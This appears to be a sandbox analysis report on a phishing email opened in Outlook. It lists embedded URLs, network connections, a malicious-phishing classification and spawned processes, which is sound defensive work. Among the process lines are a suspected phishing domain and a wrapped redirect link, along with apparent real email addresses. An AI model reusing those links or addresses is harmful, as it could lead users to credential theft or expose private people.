Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office365.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office365.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: chromecache_102.14.dr	String found in binary or memory: https://portal.mx-concord.sbs/?lit=up
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://res.cdn.office.net
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.40
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://service.powerapps.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://settings.outlook.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://staging.cortana.ai
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://substrate.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://tasks.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://wus2.contentsync.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: 3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	String found in binary or memory: https://www.yammer.com
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com
Source: HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/https://login.windows.net
Source: HxAccounts.exe, 0000001B.00000002.2401342017.00000225977CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.comp(~

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.229.151:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.229.151:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49755 version: TLS 1.2

Source: classification engine

Classification label: mal100.phis.evad.winEML@42/102@54/9

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Office Communicator_
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\MicrosoftOfficeCommunicatorSharedMemoryAccess
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240828T1620120199-6268.etl

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

File read: C:\Program Files\desktop.ini

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\(No subject) (63).eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0C81AF4-9D5D-4F7F-B183-E0258382C044" "1EA30F3A-7AF7-40C2-BE11-7274B12F7870" "6268" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1948,i,683624776939791388,2130131065859048813,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe "C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe" "sip:rphelps@minettcapital.com"
Source: unknown	Process created: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe" -ServerName:microsoft.windowslive.mail.AppXfbjsbkxvprcgqg6q4c9jfr0pn3kv9x5s.mca
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe "C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe"
Source: unknown	Process created: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe" -ServerName:microsoft.windowslive.manageaccounts.AppXdbf3yp5apt3t7q877db3gnz5zqpf71zj.mca
